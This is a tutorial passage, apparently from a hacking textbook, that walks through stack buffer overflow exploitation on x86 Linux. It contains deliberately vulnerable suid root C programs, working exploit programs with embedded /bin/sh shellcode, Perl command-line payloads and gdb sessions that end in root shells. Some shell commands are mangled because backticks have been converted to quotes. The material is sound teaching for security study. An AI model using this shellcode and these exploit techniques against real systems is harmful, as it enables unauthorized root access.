0x270
Stack-Based Overflows

Referring back to the sample overflow program, overflow.c,
when overflow_function() is called, a stack frame is pushed onto the
stack. When the function is first called, the stack frame looks something like
this:

But when the function tries to write 128 bytes of data into the
20-byte buffer, the extra 108 bytes spill out, overwriting the stack frame
pointer, the return address, and the str pointer function argument. Then, when
the function finishes, the program attempts to jump to the return address, which
is now filled with As, which is 0x41 in hexadecimal. The
program tries to return to this address, causing the EIP to go to 0x41414141,
which is basically just some random address that is either in the wrong memory space or contains invalid
instructions, causing the program to crash and die. This is called a stack-based overflow, because the overflow is occurring in
the stack memory segment.

Overflows can happen in other memory segments also, such as the
heap or bss segments, but what makes stack-based overflows more versatile and
interesting is that they can overwrite a return address. The program crashing as
a result of a stack-based overflow isn't really that interesting, but the reason
it crashes is. If the return address were controlled and overwritten with
something other than 0x41414141, such as an address where actual executable code
was located, then the program would "return" to and execute that code instead of
dying. And if the data that overflows into the return address is based on user
input, such as the value entered in a username field, the return address and the
subsequent program execution flow can be controlled by the user.

Because it's possible to modify the return address to change the
flow of execution by overflowing buffers, all that's needed is something useful
to execute. This is where bytecode injection comes into
the picture. Bytecode is just a cleverly designed piece of assembly code that is
self-contained and can be injected into buffers. There are several restrictions
on bytecode: It has to be self-contained and it needs to avoid certain special
characters in its instructions because it's supposed to look like data in
buffers.

The most common piece of bytecode is known as shellcode. This is a piece of bytecode that just spawns a
shell. If a suid root program is tricked into executing shellcode, the attacker
will have a user shell with root privileges, while the system believes the suid
root program is still doing whatever it was supposed to be doing. Here is an
example:

vuln.c code

int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

This is a piece of vulnerable program code that is similar to
overflow_function() from before, as it inputs a single argument and tries to
cram whatever that argument holds into its 500-byte buffer. Here are the
uneventful results of this program's compilation and execution:

$ gcc -o vuln vuln.c
$ ./vuln test

The program really does nothing, except mismanage memory. Now to
make it truly vulnerable, the ownership must be changed to the root user, and
the suid permission bit must be turned on for the compiled binary:

$ sudo chown root vuln
$ sudo chmod +s vuln
$ ls -l vuln
-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vuln

Now that vuln is a suid root program that's vulnerable to a buffer
overflow, all that's needed is a piece of code to generate a buffer that can be
fed to the vulnerable program. This buffer should contain the desired shellcode
and should overwrite the return address in the stack so that the shellcode will
get executed. This means the actual address of the shellcode must be known ahead
of time, which can be difficult to know in a dynamically changing stack. To make
things even harder, the four bytes where the return address is stored in the
stack frame must be overwritten with the value of this address. Even if the
correct address is known, but the proper location isn't overwritten, the program
will just crash and die. Two techniques are commonly used to assist with this
difficult chicanery.

The first is known as a NOP sled (NOP is
short for no operation). This is a single byte instruction
that does absolutely nothing. These are sometimes used to waste computational
cycles for timing purposes and are actually necessary in the Sparc processor
architecture due to instruction pipelining. In this case, these NOP instructions
are going to be used for a different purpose; they're going to be used as a
fudge factor. By creating a large array (or sled) of these NOP instructions and
placing it before the shellcode, if the EIP returns to any address found in the
NOP sled, the EIP will increment while executing each NOP instruction, one at a
time, until it finally reaches the shellcode. This means that as long as the
return address is overwritten with any address found in the NOP sled, the EIP
will slide down the sled to the shellcode, which will execute properly.

The second technique is flooding the end of the buffer with many
back-to-back instances of the desired return address. This way, as long as any
one of these return addresses overwrites the actual return address, the exploit
will work as desired.

Here is a representation of a crafted buffer:

Even using both of these techniques, the approximate location of
the buffer in memory must be known in order to guess the proper return address.
One technique for approximating the memory location is to use the current stack
pointer as a guide. By subtracting an offset from this stack pointer, the
relative address of any variable can be obtained. Because, in this vulnerable
program, the first element on the stack is the buffer the shellcode is being put
into, the proper return address should be the stack pointer, which means the
offset should be close to 0. The NOP sled becomes increasingly useful when
exploiting more complicated programs, when the offset isn't 0.

The following is exploit
code, designed to create a buffer and feed it to the vulnerable program,
hopefully tricking it into executing the injected shellcode when it crashes,
instead of just crashing and dying. The exploit code first gets the current
stack pointer and subtracts an offset from that. In this case the offset is 0.
Then memory for the buffer is allocated (on the heap) and the entire buffer is
filled with the return address. Next, the first 200 bytes of the buffer are
filled with a NOP sled (the NOP instruction in machine language for the x86
processor is equivalent to 0x90). Then the shellcode is placed after the NOP
sled, leaving the remaining last portion of the buffer filled with the return
address. Because the end of a character buffer is designated by a null byte, or
0, the buffer is ended with a 0. Finally another function is used to run the
vulnerable program and feed it the specially crafted buffer.

exploit.c
code

#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void) // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0; // Use an offset of 0
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

// Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

// End the string
buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
free(buffer);

return 0;
}

Here are the results of the exploit code's compilation and
subsequent execution:

$ gcc -o exploit exploit.c
$ ./exploit
Stack pointer (ESP) : 0xbffff978
Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#

Apparently it worked. The return address in the stack frame
was overwritten with the value 0xbffff978, which happens to be the address of
the NOP sled and shellcode. Because the program was suid root, and the shellcode
was designed to spawn a user shell, the vulnerable program executed the
shellcode as the root user, even though the original program was only meant to
copy a piece of data and exit.

0x271 Exploiting
Without Exploit Code

Writing an exploit program to exploit a program will
certainly get the job done, but it does put a layer between the prospective
hacker and the vulnerable program. The compiler takes care of certain aspects of
the exploit, and having to adjust the exploit by making changes to a program
removes a certain level of interactivity from
the exploit process. In order to really gain a full understanding of this topic,
which is so rooted in exploration and experimentation, the ability to quickly
try different things is vital. Perl's print command and bash shell's command
substitution with grave accents are really all that are needed to exploit the
vulnerable program.

Perl is an interpreted programming language that has a print
command that happens to be particularly suited to generating long sequences of
characters. Perl can be used to execute instructions on the command line using
the -e switch like this:

$ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA

This command tells Perl to execute the commands found between the
single quotes — in this case, a single command of ‘print "A" x 20;'.
This command prints the character A 20 times.

Any character, such as nonprintable characters, can also be
printed by using \x##, where ## is the hexadecimal value of
the character. In the following example, this notation is used to print the
character A, which has the hexadecimal value of 0x41.

$ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA

In addition, string concatenation can be done in Perl with the
period (.) character. This can be useful when stringing multiple
addresses together.

$ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

Command substitution is done with the grave accent (‘) — the
character that looks like a tilted single quote and is found on the same key as
the tilde. Anything found between two sets of grave accents is executed, and the
output is put in its place. Here are two examples:

$ 'perl -e 'print "uname";''
Linux
$ una'perl -e 'print "m";''e
Linux
$

In each case, the output of the command found between the grave
accents is substituted for the command, and the command of uname is
executed.

All the exploit code really does
is get the stack pointer, craft a buffer, and feed that buffer to the vulnerable
program. Armed with Perl, command substitution, and an approximate return
address, the work of the exploit code can be done on the command line by simply
executing the vulnerable program and using grave accents to substitute a crafted
buffer into the first argument.

First the NOP sled must be created. In the exploit.c code, 200
bytes of NOP sled was used; this is a good amount, as it provides for 200 bytes
of guessing room for the return address. This extra guessing room is more
important now, because the exact stack pointer address isn't known. Remembering
that the NOP instruction is 0x90 in hexadecimal, the sled can be created using a
pair of grave accents and Perl, as follows:

$ ./vuln 'perl -e 'print "\x90"x200;''

The shellcode should then be appended to the NOP sled. It's quite
useful to have the shellcode existing in a file somewhere, so putting the
shellcode into a file should be the next step. Because all the bytes are already
spelled out in hexadecimal in the beginning of the exploit, these bytes just
need to be written to a file. This can be done using a hex editor or using
Perl's print command with the output redirected to a file, as shown here:

$ perl -e 'print
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x
43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\
x68";' > shellcode

Once this is done, the shellcode exists in a file called
"shellcode". The shellcode can now be easily inserted anywhere with a pair of
grave accents and the cat command. Using this method, the shellcode can be added
to the existing NOP sled:

$ ./vuln 'perl -e 'print "\x90"x200;'"cat shellcode'

Next, the return address, repeated several times, must be
appended, but there is already something wrong with the exploit buffer. In the
exploit.c code, the exploit buffer was filled with the return address first.
This made sure the return address was properly aligned, because it consists of
four bytes. This alignment must be manually accounted for when crafting exploit
buffers on the command line.

What this boils down to is this: The number of bytes in the NOP
sled plus the shellcode must be divisible by 4. Because the shellcode is 46
bytes, and the NOP sled is 200 bytes, a bit of simple arithmetic will show that
246 isn't divisible by 4. It is off by 2 bytes, so the repeated return address
will be misaligned by 2 bytes, causing the execution to return somewhere
unexpected.

In order to properly align the
section of repeated return addresses, an additional 2 bytes should be added to
the NOP sled:

$ ./vuln 'perl -e 'print "A"x202;'"cat shellcode'

Now that the first part of the exploit buffer is properly aligned,
the repeated return address just has to be added to the end. Because 0xbffff978
was where the stack pointer was last, that makes a good approximate return
address. This return address can be printed using "\x78\xf9\xff\bf".
The bytes are reversed due to the little-endian byte ordering on the x86
architecture. This is a subtlety that can sometimes be overlooked when just
using exploit code that does the ordering automatically.

Because the target length for the exploit buffer is about 600
bytes, and the NOP sled and shellcode take up 248 bytes, more simple arithmetic
reveals that the return address should be repeated 88 times. This can be done
with an additional pair of grave accents and more Perl:

$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x78\xf9\xff\xbf"x88;''
sh-2.05a# whoami
root
sh-2.05a#

Exploiting at the command line provides for greater control and
flexibility over a given exploit technique, which encourages experimentation.
For example, it's doubtful that all 600 bytes are really needed to properly
exploit the sample vuln program. This threshold can be quickly explored when
using the command line.

$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x68\xf9\xff\xbf"x68;''
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x68\xf9\xff\xbf"x69;''
Segmentation fault
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x68\xf9\xff\xbf"x70;''
sh-2.05a#

The first execution in the preceding example simply didn't
crash and closes cleanly, while the second execution doesn't overwrite enough of
the return address, resulting in a crash. However, the final execution properly
overwrites the return address, returning execution into the NOP sled and
shellcode, which executes a root shell. This level of control over the exploit
buffer and the immediate feedback from experimentation is quite valuable in
developing a deeper understanding of a system and an exploit
technique.

0x272 Using the
Environment

Sometimes a buffer will be too small to even fit shellcode
into. In this case, the shellcode can be stashed in an environment variable.
Environment variables are used by the user shell for a variety of things, but
the key point of interest is that they are stored in an area of memory that
program execution can be redirected to. So if a buffer is too small to fit the
NOP sled, shellcode, and repeated return address, the sled and shellcode can be
stored in an environment variable with the return address pointing to that
address in memory. Here is another vulnerable piece of code, using a buffer that
is too small for shellcode:

vuln2.c code

int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}

Here the vuln2.c code is compiled and set suid root to make it
truly vulnerable.

$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2

Because the buffer is only five bytes long in vuln2, there is no
room for shellcode to be inserted; it must be stored elsewhere. One ideal
candidate for holding the shellcode is an environment variable.

The execl() function in the exploit.c code, which was
used to execute the vulnerable program with the crafted buffer in the first
exploit, has a sister function called execle(). This function has one
additional argument, which is the environment that the executing process should
run under. This environment is presented in
the form of an array of pointers to null-terminated strings for each environment
variable, and the environment array itself is terminated with a null
pointer.

This means that an environment containing shellcode can be
created by using an array of pointers, the first of which points to the
shellcode, and the second consisting of a null pointer. Then the
execle() function can be called using this environment to execute the
second vulnerable program, overflowing the return address with the address of
the shellcode. Luckily, the address of an environment invoked in this manner is
easy to calculate. In Linux, the address will be 0xbffffffa, minus the length of
the environment, minus the length of the name of the executed program. Because
this address will be exact, there is no need for an NOP sled. All that's needed
in the exploit buffer is the address, repeated enough times to overflow the
return address in the stack. Forty bytes seems like a good number.

env_exploit.c code

#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
char *env[2] = {shellcode, NULL};
int i;
long ret, *addr_ptr;
char *buffer, *ptr;

// Allocate 40 bytes for buffer (on the heap)
buffer = malloc(40);

// Calculate the location of the shellcode
ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2");

// Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 40; i+=4)
{ *(addr_ptr++) = ret; }

// End the string
buffer[40-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
// and using the environment env as its environment.
execle("./vuln2", "vuln2", buffer, 0, env);

// Free the buffer memory
free(buffer);

return 0;
}

This is what happens when the program is compiled and
executed:

$ gcc -o env_exploit env_exploit.c
$ ./env_exploit
sh-2.05a# whoami
root
sh-2.05a#

Of course, this technique can also be used without an exploit
program. In the bash shell, environment variables are set and exported using
export VARNAME=value. Using export, Perl, and a few pairs of grave accents, the
shellcode and a generous NOP sled can be put into the current environment:

$ export SHELLCODE='perl -e 'print "\x90"x100;'"cat shellcode'

The next step is to find the address of this environment variable.
This can be done using a debugger, such as gdb, or by simply writing a little
utility program. I'll explain both methods.

The point of using a debugger is to open the vulnerable program in
the debugger and set a breakpoint right at the beginning. This will cause the
program to start execution but then stop before anything actually happens. At
this point, memory can be examined from the stack pointer forward by using the
gdb command x/20s $esp. This will print out the next 20 strings of
memory from the stack pointer. The x in the command is short for examine, and the 20s requests 20 null-terminated strings.
Pressing ENTER after this command runs will continue with the previous command,
examining the next 20 strings worth of memory. This process can be repeated
until the environment variable is found in memory.

In the following output, vuln2 is debugged with gdb to
examine strings in stack memory in order to find the shellcode stored in the
environment variable SHELLCODE (shown in bold).

$ gdb vuln2
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x804833e
(gdb) run
Starting program: /hacking/vuln2

Breakpoint 1, 0x0804833e in main ()
(gdb) x/20s $esp
0xbffff8d0: "O\234\002@\204\204\024@ \203\004\bR\202\004\b0\202\004\b\204\204\024@oo˙żF\202\004
\b\200ů\004@\204\204\024@(ů˙żBĄ\003@\001"
0xbffff902: ""
0xbffff903: ""
0xbffff904: "Tů˙ż\\ů˙ż\200\202\004\b"
0xbffff911: ""
0xbffff912: ""
0xbffff913: ""
0xbffff914: "P˘"
0xbffff917: "@\\C\024@TU\001@\001"
0xbffff922: ""
0xbffff923: ""
0xbffff924: "\200\202\004\b"
0xbffff929: ""
0xbffff92a: ""
0xbffff92b: ""
0xbffff92c: "Ą\202\004\b8\203\004\b\001"
0xbffff936: ""
0xbffff937: ""
0xbffff938: "Tů˙ż0\202\004\b \203\004\b\020***"
0xbffff947: "@Lů˙ż'Z\001@\001"
(gdb)
0xbffff952: ""
0xbffff953: ""
0xbffff954: "eú˙ż"
0xbffff959: ""
0xbffff95a: ""
0xbffff95b: ""
0xbffff95c:
"tú˙ż\201ú˙ż ú˙żAú˙żxú˙żYű˙żďű˙ż\035ü˙ż=ü˙ż\211ü˙ż˘ü˙żRü˙żÄü˙żDü˙żĺü˙ż\202y˙ż\227y˙
ż y˙żOy˙żóy˙ż\002p˙ż\np˙ż-p˙żUp˙ż\206p˙ż\220p˙ż\236p˙żŞp˙żIp˙żxp˙żU˙˙ż"
0xbffff9d9: ""
0xbffff9da: ""
0xbffff9db: ""
0xbffff9dc: "\020"
0xbffff9de: ""
0xbffff9df: ""
0xbffff9e0: "˙ů\203\003\006"
0xbffff9e6: ""
0xbffff9e7: ""
0xbffff9e8: ""
0xbffff9e9: "\020"
0xbffff9eb: ""
0xbffff9ec: "\021"
(gdb)
0xbffff9ee: ""
0xbffff9ef: ""
0xbffff9f0: "d"
0xbffff9f2: ""
0xbffff9f3: ""
0xbffff9f4: "\003"
0xbffff9f6: ""
0xbffff9f7: ""
0xbffff9f8: "4\200\004\b\004"
0xbffff9fe: ""
0xbffff9ff: ""
0xbffffa00: " "
0xbffffa02: ""
0xbffffa03: ""
0xbffffa04: "\005"
0xbffffa06: ""
0xbffffa07: ""
0xbffffa08: "\006"
0xbffffa0a: ""
0xbffffa0b: ""
(gdb)
0xbffffa0c: "\a"
0xbffffa0e: ""
0xbffffa0f: ""
0xbffffa10: ""
0xbffffa11: ""
0xbffffa12: ""
0xbffffa13: "@\b"
0xbffffa16: ""
0xbffffa17: ""
0xbffffa18: ""
0xbffffa19: ""
0xbffffa1a: ""
0xbffffa1b: ""
0xbffffa1c: "\t"
0xbffffa1e: ""
0xbffffa1f: ""
0xbffffa20: "\200\202\004\b\v"
0xbffffa26: ""
0xbffffa27: ""
0xbffffa28: "č\003"
(gdb)
0xbffffa2b: ""
0xbffffa2c: "\f"
0xbffffa2e: ""
0xbffffa2f: ""
0xbffffa30: "č\003"
0xbffffa33: ""
0xbffffa34: "\r"
0xbffffa36: ""
0xbffffa37: ""
0xbffffa38: "d"
0xbffffa3a: ""
0xbffffa3b: ""
0xbffffa3c: "\016"
0xbffffa3e: ""
0xbffffa3f: ""
0xbffffa40: "d"
0xbffffa42: ""
0xbffffa43: ""
0xbffffa44: "\017"
0xbffffa46: ""
(gdb)
0xbffffa47: ""
0xbffffa48: "'ú˙ż"
0xbffffa4d: ""
0xbffffa4e: ""
0xbffffa4f: ""
0xbffffa50: ""
0xbffffa51: ""
0xbffffa52: ""
0xbffffa53: ""
0xbffffa54: ""
0xbffffa55: ""
0xbffffa56: ""
0xbffffa57: ""
0xbffffa58: ""
0xbffffa59: ""
0xbffffa5a: ""
0xbffffa5b: ""
0xbffffa5c: ""
0xbffffa5d: ""
0xbffffa5e: ""
(gdb)
0xbffffa5f: ""
0xbffffa60: "i686"
0xbffffa65: "/hacking/vuln2"
0xbffffa74: "PWD=/hacking"
0xbffffa81: "XINITRC=/etc/X11/xinit/xinitrc"
0xbffffaa0: "JAVAC=/opt/sun-jdk-1.4.0/bin/javac"
0xbffffac3: "PAGER=/usr/bin/less"
0xbffffad7: "SGML_CATALOG_FILES=/etc/sgml/sgml-ent.cat:/etc/sgml/sgml-
docbook.cat:/etc/sgml/openjade-1.3.1.cat:/etc/sgml/sgml-docbook-
3.1.cat:/etc/sgml/sgml-docbook-3.0.cat:/etc/sgml/dsssl-docbook-stylesheets.cat:"...
0xbffffb9f: "/etc/sgml/sgml-docbook-4.0.cat:/etc/sgml/sgml-docbook-4.1.cat"
0xbffffbdd: "HOSTNAME=overdose"
0xbffffbef: "CLASSPATH=/opt/sun-jdk-1.4.0/jre/lib/rt.jar:."
0xbffffc1d: "VIMRUNTIME=/usr/share/vim/vim61"
0xbffffc3d:
"MANPATH=/usr/share/man:/usr/local/share/man:/usr/X11R6/man:/opt/insight/man"
0xbffffc89: "LESSOPEN=|lesspipe.sh %s"
0xbffffca2: "USER=matrix"
0xbffffcae: "MAIL=/var/mail/matrix"
0xbffffcc4: "CVS_RSH=ssh"
0xbffffcd0: "INPUTRC=/etc/inputrc"
0xbffffce5: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200čĺ˙˙˙/bin/sh"
0xbffffd82: "EDITOR=/usr/bin/nano"
(gdb)
0xbffffd97: "CONFIG_PROTECT_MASK=/etc/gconf"
0xbffffdb6: "JAVA_HOME=/opt/sun-jdk-1.4.0"
0xbffffdd3: "SSH_CLIENT=10.10.10.107 3108 22"
0xbffffdf3: "LOGNAME=matrix"
0xbffffe02: "SHLVL=1"
0xbffffe0a: "MOZILLA_FIVE_HOME=/usr/lib/mozilla"
0xbffffe2d: "INFODIR=/usr/share/info:/usr/X11R6/info"
0xbffffe55: "SSH_CONNECTION=10.10.10.107 3108 10.10.11.110 22"
0xbffffe86: "_=/bin/sh"
0xbffffe90: "SHELL=/bin/sh"
0xbffffe9e: "JDK_HOME=/opt/sun-jdk-1.4.0"
0xbffffeba: "HOME=/home/matrix"
0xbffffecc: "TERM=linux"
0xbffffed7: "PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/opt/sun-
jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/usr/sbin:/usr/local/sbin
:/home/matrix/bin:/sbin"...
0xbfffff9f: ":/usr/sbin:/usr/local/sbin:/sbin:/usr/sbin:/usr/local/sbin"
0xbfffffda: "SSH_TTY=/dev/pts/1"
0xbfffffed: "/hacking/vuln2"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
(gdb) x/s 0xbffffce5
0xbffffce5: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200čĺ˙˙˙/bin/sh"
(gdb) x/s 0xbffffcf5
0xbffffcf5: '\220' <repeats 94 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200čĺ˙˙˙/bin/sh"
(gdb) quit
The program is running. Exit anyway? (y or n) y

After finding the address where the environment variable
SHELLCODE is located, the command x/s is used to examine just
that string. But this address includes the string "SHELLCODE=", so 16
bytes are added to the address to provide an address that is located somewhere
in the NOP sled. The 100 bytes of the NOP sled provide for quite a bit of wiggle
room, so there's no need to be exact.

The debugger has revealed that the address 0xbffffcf5 is right
near the beginning of the NOP sled, and the shellcode is stored in the
environment variable SHELLCODE. Armed with this knowledge, some more
Perl, and a pair of grave accents, the vulnerable program can be exploited, as
follows.

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10;''
sh-2.05a# whoami
root
sh-2.05a#

Once again, the threshold of how long the overflow buffer really
needs to be can be quickly investigated. As the following experiments show, 32
bytes is as small as the buffer can get and still overwrite the return
address.

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10;''
sh-2.05a# exit
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x9;''
sh-2.05a# exit
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x8;''
sh-2.05a# exit
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x7;''
Segmentation fault
$

Another way to retrieve the address of an environment
variable is to write a simple helper program. This program can simply use the
well-documented getenv() function to look for the first program argument in the
environment. If it can't find anything, the program exits with a status message,
and if it finds the variable, it prints out the address of it.

getenvaddr.c code

#include <stdlib.h>

int main(int argc, char *argv[])
{
char *addr;
if(argc < 2)
{
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}
addr = getenv(argv[1]);
if(addr == NULL)
printf("The environment variable %s doesn't exist.\n", argv[1]);
else
printf("%s is located at %p\n", argv[1], addr);
return 0;
}

The following shows the getenvaddr.c program's compilation and
execution to find the address of the environment variable
SHELLCODE.

$ gcc -o getenvaddr getenvaddr.c
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffcec
$

This program returns a slightly different address than gdb did.
This is because the context for the helper program is slightly different than
when the vulnerable program is executed, which is also slightly different than
when the vulnerable program is executed in gdb. Luckily the 100 bytes of NOP
sled is more than enough to allow these slight inconsistencies to slide.

$ ./vuln2 'perl -e 'print "\xec\xfc\xff\xbf"x8;''
sh-2.05a# whoami
root
sh-2.05a#

Just slapping a huge NOP sled to the front of shellcode, however,
is like playing pool with slop. Sure the root shell pops up or the balls go in,
but oftentimes it's by accident, and the experience doesn't teach that much.
Playing with slop is for amateurs — the experts can sink balls exactly in the
pockets they call. In the world of program exploitation, the difference is
between knowing exactly where something will be in memory and just guessing.

In order to be able to predict an exact memory address, the
differences in the addresses must be explored. The length of the name of the
program being executed seems to have an effect on the address of the environment
variables. This effect can be further explored by changing the name of the
helper program and experimenting. This type of experimentation and pattern
recognition is an important skill set for a hacker to have.

$ gcc -o a getenvaddr.c
$ ./a SHELLCODE
SHELLCODE is located at 0xbffffcfe
$ cp a bb
$ ./bb SHELLCODE
SHELLCODE is located at 0xbffffcfc
$ cp bb ccc
$ ./ccc SHELLCODE
SHELLCODE is located at 0xbffffcfa

As the preceding experiment shows, the length of the name of the
executing program has an effect on location of exported environment variables.
The general trend seems to be a decrease of 2 bytes in the address of the
environment variable for every single byte increase in the length of the program
name. This continues to hold true with the program name getenvaddr,
because the difference in length between the names getenvaddr and a is
9 bytes, and the difference between the address 0xbffffcfe and 0xbffffcec is 18
bytes.

Armed with this knowledge, the exact address of the environment
variable can be predicted when the vulnerable program is executed. This means
the crutch of a NOP sled can be eliminated.

$ export SHELLCODE='cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd50
$

Because the name of the vulnerable program is vuln2,
which is 5 bytes long, and the name of the helper program is
getenvaddr, which is 10 bytes long, the address of the shellcode will
be ten bytes more when the vulnerable program is executed. This is because the
helper program's name is 5 bytes more than the vulnerable program's name. Some
basic math reveals that the predicted shellcode address when the vulnerable
program is executed should be 0xbffffd5a.

$ ./vuln2 'perl -e 'print "\x5a\xfd\xff\xbf"x8;''
sh-2.05a# whoami
root
sh-2.05a#

This type of surgical precision is definitely good practice, but
it isn't always necessary. The knowledge gained from this experimentation can
help calculate how long the NOP sled should be, though. As long as the helper
program's name is longer than the name of the vulnerable program, the address
returned by the helper program will always be greater than what the address will
be when the vulnerable program is executed. This means a small NOP sled before
the shellcode in the environment variable will neatly compensate for this
difference.

The size of the necessary NOP sled can be easily calculated.
Because a vulnerable program name needs at least one character, the maximum
difference in the program name lengths will be the length of the helper
program's name minus one. In this case, the
helper program's name is getenvaddr, which means the NOP sled should be
18 bytes long, because the address is adjusted by 2 bytes for every single byte
in difference. (10 − 1) ˇ 2 =
18.